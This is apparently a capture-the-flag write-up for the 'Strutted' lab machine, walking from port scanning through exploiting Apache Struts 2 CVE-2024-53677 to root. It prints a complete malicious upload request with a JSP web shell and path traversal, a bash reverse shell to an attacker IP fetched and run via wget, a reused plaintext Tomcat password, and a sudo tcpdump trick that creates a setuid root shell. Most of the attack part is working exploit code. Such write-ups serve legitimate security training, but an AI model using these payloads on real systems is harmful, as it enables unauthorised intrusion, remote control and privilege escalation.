Strutted
Port scan
$ sudo nmap 10.10.11.59 -p- --min-rate=10000 -T4 -sCV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web APP
echo "10.10.11.59 strutted.htb" | sudo tee -a /etc/hosts
gobuster dir -u http://strutted.htb/ -w /usr/share/wordlists/dirb/common.txt --exclude-length 5197
CVE-2024-53677
Understanding Apache Struts 2 CVE-2024-53677
CVE-2024-53677 is a critical file upload vulnerability in the default Interceptor class (FileUploadInterceptor) of Struts 2; this vulnerability has some similarities to CVE-2023-50164 from December 2023 – Struts, like many popular frameworks, is the gift that keeps on giving. An attacker could exploit this vulnerability by sending specially crafted upload parameters, bypassing path traversal protections and uploading malicious files, leading to Remote Code Execution.
Despite the vulnerable FileUploadInterceptor object shipping as part of the default Interceptor stack in all currently available versions of Struts 2, the extensible nature of Struts 2 does not require developers to implement the functionality for uploading files. This means that not all applications which leverage Struts 2 are vulnerable.
The good news is that a vulnerable version of Struts 2 is only exploitable if the application has implemented the FileUploadInterceptor. Unfortunately, detecting use of these components and mitigating the vulnerability requires manual investigation of the application or coordination with the vendor or developers who created it.
POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Length: 3105
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycLZsu5h63A9JgavD
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://strutted.htb/upload.action
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=14AB362282C6804E033E2279B401DADE
Connection: keep-alive
------WebKitFormBoundarycLZsu5h63A9JgavD
Content-Disposition: form-data; name="Upload"; filename="sample.jpg"
Content-Type: image/jpeg
ÿØÿà
<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
String action = request.getParameter("action");
String output = "";
try {
if ("cmd".equals(action)) {
// Execute system commands
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output += line + "\n";
}
reader.close();
}
} else if ("upload".equals(action)) {
// File upload
String filePath = request.getParameter("path");
String fileContent = request.getParameter("content");
if (filePath != null && fileContent != null) {
File file = new File(filePath);
try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) {
writer.write(fileContent);
}
output = "File uploaded to: " + filePath;
} else {
output = "Invalid file upload parameters.";
}
} else if ("list".equals(action)) {
// List directory contents
String dirPath = request.getParameter("path");
if (dirPath != null) {
File dir = new File(dirPath);
if (dir.isDirectory()) {
for (File file : Objects.requireNonNull(dir.listFiles())) {
output += file.getName() + (file.isDirectory() ? "/" : "") + "\n";
}
} else {
output = "Path is not a directory.";
}
} else {
output = "No directory path provided.";
}
} else if ("delete".equals(action)) {
// Delete files
String filePath = request.getParameter("path");
if (filePath != null) {
File file = new File(filePath);
if (file.delete()) {
output = "File deleted: " + filePath;
} else {
output = "Failed to delete file: " + filePath;
}
} else {
output = "No file path provided.";
}
} else {
// Unknown operation
output = "Unknown action: " + action;
}
} catch (Exception e) {
output = "Error: " + e.getMessage();
}
// Return the result
response.setContentType("text/plain");
out.print(output);
%>
------WebKitFormBoundarycLZsu5h63A9JgavD
Content-Disposition: form-data; name="top.UploadFileName"
../../shell.jsp
------WebKitFormBoundarycLZsu5h63A9JgavD--
original is 'upload' lowercase
echo -ne '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.15.103/4445 0>&1"' > bash.sh
python3 -m http.server 80
http://strutted.htb/shell.jsp?action=cmd&cmd=wget+10.10.15.103/bash.sh+-O+/tmp/bash.sh
http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/bash.sh
http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/bash.sh
James
# /var/lib/tomcat9/conf/tomcat-users.xml
.......
<!--
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
......
The password works when used for SSH login
$ sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
COMMAND='cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
$ /tmp/0xdf -p
-l
- Make STDOUT line buffered. It seems like perhaps the output might come to STDOUT, but I didn’t get that.
-n
- Don’t convert addresses to names.
-i lo
- Capture on the localhost interface.
-w /dev/null
- Save capture to /dev/null
(throw it away).
-W 1 -G 1
- Used in conjunction with the -G option, this will limit the number of rotated dump files that get created, exiting with status 0 when reaching the limit.” So rotate every second and exit after one file.
-z $TF
- Run the $TF
script on rotation.
-Z root
- Run as the root user.
https://gtfobins.github.io/gtfobins/tcpdump/